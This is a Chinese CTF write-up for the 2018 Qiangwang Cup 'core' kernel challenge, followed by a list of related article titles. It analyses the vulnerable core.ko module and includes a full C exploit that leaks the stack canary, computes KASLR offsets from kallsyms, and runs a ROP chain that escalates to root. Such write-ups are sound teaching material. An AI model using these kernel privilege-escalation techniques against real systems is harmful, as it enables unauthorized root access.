学kernel的第二天,仍然很不想学·····

拿到题目看下init先:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.kopoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /syspoweroff -d 0  -f

主要关注一下这三行:

cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

可以看到程序将kallsyms的值给到了/tmp目录下,然后将kptr_restrict和dmesg_restrict写上1,这样我们就没法查看内核地址和内核日志了。

但是仍然可以通过读/tmp目录下的kallsyms获取内核地址

init还insmod了一个core.ko,可以看出来我们要分析的文件应该就是这个

这里要注意需要把boot.sh里的64M改成128M,定时关机也可以关掉

改完之后已经正常启动了,接下来看core.ko文件
开了canary

init,exit和relase函数没什么特别的,注册的设备名叫core,用的是proc_create,所以到时候直接open(‘/proc/core’)即可

然后看看core_ioctl:

定义了个操作,其中第二个单纯的设置了一个全局变量off
来看看core_read和core_copy_func
打印了一些东西,然后把v2清零,然后将v5从off偏移处开始复制给用户,这里注意,off是我们可控的,并且没有做任何限制,也就是说如果我们将off设置的大一些,是可以将内核栈上的一些数据泄露出来的,而本题开了canary,所以这个函数很明显是用来泄露canary的。

再看core_copy_func:

函数将全局变量name中的内容复制a1长度到内核栈中,这里就有一个问题,a1本身是64位的,当执行qmemcpy的时候当做16位来看,而给出的限制条件是64位的a1>63,也就是说只要让a1的符号位为1,就可以做到绕过a1>63的检测,从而实现一个栈溢出。

栈溢出有了,执行rop还有一个条件是name必须可控,我们来看看write函数:

write函数最多可以像name中写入0x800大小的数据,完全足够我们写rop链

所以这个题总的思路已经出来了,首先利用ioctl控一下off,然后用read读canary,然后用write编写rop链,最后利用core_copy_func实现栈溢出,最后提权起shell

首先使用ropper获取所需gadget

ropper --file ./vmlinux > gadget

先把一些常规的函数写上

size_t user_cs, user_ss, user_rflags, user_sp;//intel 保存用户态
void save_status(){__asm__("mov user_cs,cs;""mov user_ss,ss;""mov user_sp,rsp;""pushf;""pop user_rflags;");puts("[*] saved !");
}//leak canary
void core_read(int fd, char *user_buf){ioctl(fd, 0x6677889B, user_buf);
}//set off
void set_off(int fd, long long len){ioctl(fd, 0x6677889C, len);
}//stack overflow
void core_copy_func(int fd, long long len){ioctl(fd, 0x6677889A, len);
}//起一个root shell
void get_root_shell(){if(!getuid()){puts("[+] root! pwned by z1r0");system("/bin/sh");}else{puts("[-] false ");}exit(0);
}

然后利用/tmp路径下的kallsyms文件获取内核函数地址,然后减掉固定偏移获取vmlinux加载之后的基址,再和加载前的基址做个减法,就能计算出kalsr导致的偏移,从而计算出gadget的实际地址。

有了commit_creds和prepare_kernel_cred 两个函数的地址以及gadget的地址,我们就可以写rop链了:

for(i = 0; i < 10; ++i){rop[i++] = canary;}rop[i++] = 0xffffffff81000b2f + offset; //pop rdi ; retrop[i++] = 0;rop[i++] = prepare_kernel_cred;rop[i++] = 0xffffffff810a0f49 + offset; //pop rdx; retrop[i++] = 0xffffffff81021e53 + offset; // pop rcx; retrop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; retrop[i++] = 0;rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)get_root_shell;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_sp;rop[i++] = user_ss;

完整exp:

#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>size_t user_cs, user_ss, user_rflags, user_sp;//intel 保存用户态
void save_status(){__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] saved !");
}//leak canary
void core_read(int fd, char *user_buf){ioctl(fd, 0x6677889B, user_buf);
}//set off
void set_off(int fd, long long len){ioctl(fd, 0x6677889C, len);
}//stack overflow
void core_copy_func(int fd, long long len){ioctl(fd, 0x6677889A, len);
}//起一个root shell
void get_root_shell(){if(!getuid()){puts("[+] root! pwned by Ayaka");system("/bin/sh");}else{puts("[-] false ");}exit(0);
}size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
size_t vmlinux_base = 0;        //加载后的vmlinux基址
size_t raw_vmlinux_base = 0xffffffff81000000;   //未加载时的vmlinux基址size_t get_vmlinux_base(){FILE* fd = fopen("/tmp/kallsyms","r");if(fd < 0)exit(0);char buf[0x30] = {0};while(fgets(buf, 0x30, fd)){if(commit_creds & prepare_kernel_cred)return 0;if(strstr(buf, "commit_creds") && !commit_creds){char hex[20] = {0};strncpy(hex, buf, 16);//只拷贝前16字节sscanf(hex,"%llx", &commit_creds);printf("[+] commit_creds = %p\n", commit_creds);vmlinux_base = commit_creds-0x9c8e0;printf("[+] vmlinux_base = %p\n", vmlinux_base);}if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){char hex[20] = {0};strncpy(hex, buf, 16);sscanf(hex, "%llx", &prepare_kernel_cred);printf("[+] prepare_kernel_cred = %p\n", prepare_kernel_cred);vmlinux_base = prepare_kernel_cred - 0x9cce0;printf("[+] vmlinux_base = %p\n", vmlinux_base);}}if(! (prepare_kernel_cred & commit_creds)){puts("error !");exit(0);}
}int main(int argc, char **argv){save_status();puts("[+] start kernel pwn !");int fd = open("/proc/core", 2);if(fd < 0)exit(0);//获取函数地址和vmlinux基址get_vmlinux_base();//计算偏移ssize_t offset = vmlinux_base - raw_vmlinux_base;//设置off值,ida可以看到canary偏移为0x40set_off(fd, 0x40);//leak canarychar buf[0x40] = {0};core_read(fd, buf);size_t  canary = ((size_t * )buf)[0];printf("[+] canary = %p\n", canary);//构造ropsize_t rop[0x1000] = {0};int i;for(i = 0; i < 10; ++i){rop[i++] = canary;}rop[i++] = 0xffffffff81000b2f + offset; //pop rdi ; retrop[i++] = 0;rop[i++] = prepare_kernel_cred;rop[i++] = 0xffffffff810a0f49 + offset; //pop rdx; retrop[i++] = 0xffffffff81021e53 + offset; // pop rcx; retrop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds;rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; retrop[i++] = 0;rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)get_root_shell;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_sp;rop[i++] = user_ss;write(fd, rop, 0x800);core_copy_func(fd, 0xffffffffffff0000 | (0x100));return 0;
}

大致结构为padding+canary+commit_creds(prepare_kernel_cred(0))+swapgs+iretq+getshell

写好exp,静态编译一下,重新打包起个kernel执行下:

可以看到已经成功提权了

强网杯 2018 core ROP做法相关推荐

  1. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  2. 强网杯 2018 opm

    强网杯 2018 opm 前言 这篇WP是强网杯过去了很久之后才出的, 参考的是极目楚天舒师傅的博客, 这位师傅是一位CTF老赛手, 最近复出.由于图片中不能CTRL+F出文字, 本文章尽量避免使用图 ...

  3. 强网杯2018逆向 hide lebel:linux脱壳 / create function / mmap / XTEA变形 / 大小端

    参考: https://bbs.pediy.com/thread-251371.htm qiutruth@qiutruth-virtual-machine:~$ ps -ef | grep hideq ...

  4. 2019强网杯crypto writeup

    本次write包含以下题目 copperstudy randomstudy 强网先锋-辅助 copperstudy 题目描述 nc 119.3.245.36 12345 连上去返回 [+]proof: ...

  5. 第二届全国强网杯Web 题three hit学习心得(伪write up)

    前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...

  6. 强网杯2018_core

    强网杯2018_core 具体可以看z1r0's blog 题目拿到手就是一个tar包.解压 ➜ 2018强网杯-core tar -xvf core_give.tar give_to_player/ ...

  7. mysql set语句_从强网杯随便注浅析mysql存储过程

    从强网杯随便注浅析mysql存储过程 Author: Smity 去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这 ...

  8. 获取mysql存储过程返回值_从强网杯随便注浅析mysql存储过程

    作者:Smity 合天智汇 去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这个题目有一个很认真的分析,因此这里总结 ...

  9. 实战:2019 强网杯 final Web Writeup

    前言 强网杯线下赛打的非常happy也非常累,感觉这种赛制非常有意思,早就厌倦了web的AD,这种cms的0/1day的挖掘非常带劲,就是和0ctf连着打,感觉命都没了. 线下赛共有3道web,分别是 ...

  10. php upload ctf,强网杯CTF防御赛ez_upload Writeup

    这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家. ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型 ...

最新文章

  1. 返回Json数据浏览器带上<pre></pre>标签解决方法
  2. 全虚拟化与半虚拟化的实现方式
  3. 进程间通信——POSIX 有名信号量与无名信号量
  4. python gridfs_python 将图片存入mongodb,读取图片,gridfs模块
  5. SQL Server 优化---为什么索引视图(物化视图)需要with(noexpand)强制查询提示
  6. 数据结构与算法常见笔试题 .
  7. mysql 测试数据生成器_测试数据生成器
  8. 读取WIND数据(行情、基金净值等)的SAS程序
  9. html怎样改成png格式,如何将jpg图片转换成png格式 又怎样把png转换成jpg
  10. MySQL数据库 CPU飙升到100%
  11. SeaWeedfs 分布式网络文件存储介绍
  12. LibreOffice 宏
  13. 前端:打开你的摄像头
  14. win10上Steam闪退
  15. 编译原理实验二 自上而下语法分析
  16. 京东入职一周感悟:4个匹配和4个观点
  17. 创造与魔法服务器维护一维护是多久,创造与魔法5月17日更新维护公告
  18. A Generalized Deep Learning Approach for Evaluating Secondary Pulmonary Tuberculosis...论文总结
  19. 数据库系统概论第三单元基础知识(一)
  20. 转载Python正则表达式匹配反斜杠'\'问题(——字符串转义与正则转义)

热门文章

  1. 安卓平台模拟软件绑定的手机(号码)以及地理位置
  2. 概率统计Python计算:双正态总体均值差的双侧区间估计
  3. 计算机二级考试python考试大纲
  4. Ubuntu 18.04 ibus安装配置中文拼音输入法
  5. 计算机系统盘怎么扩充,Win7如何给C盘扩容 Win7系统电脑C盘扩容的办法
  6. macos10.14系统:MacOS Mojave
  7. 2040: [蓝桥杯2022初赛] 砍竹子(优先队列)
  8. 2018 AI产业界大盘点
  9. 台式计算机如何联络无线网,台式电脑怎样设置无线网络
  10. 如何生成SSH key?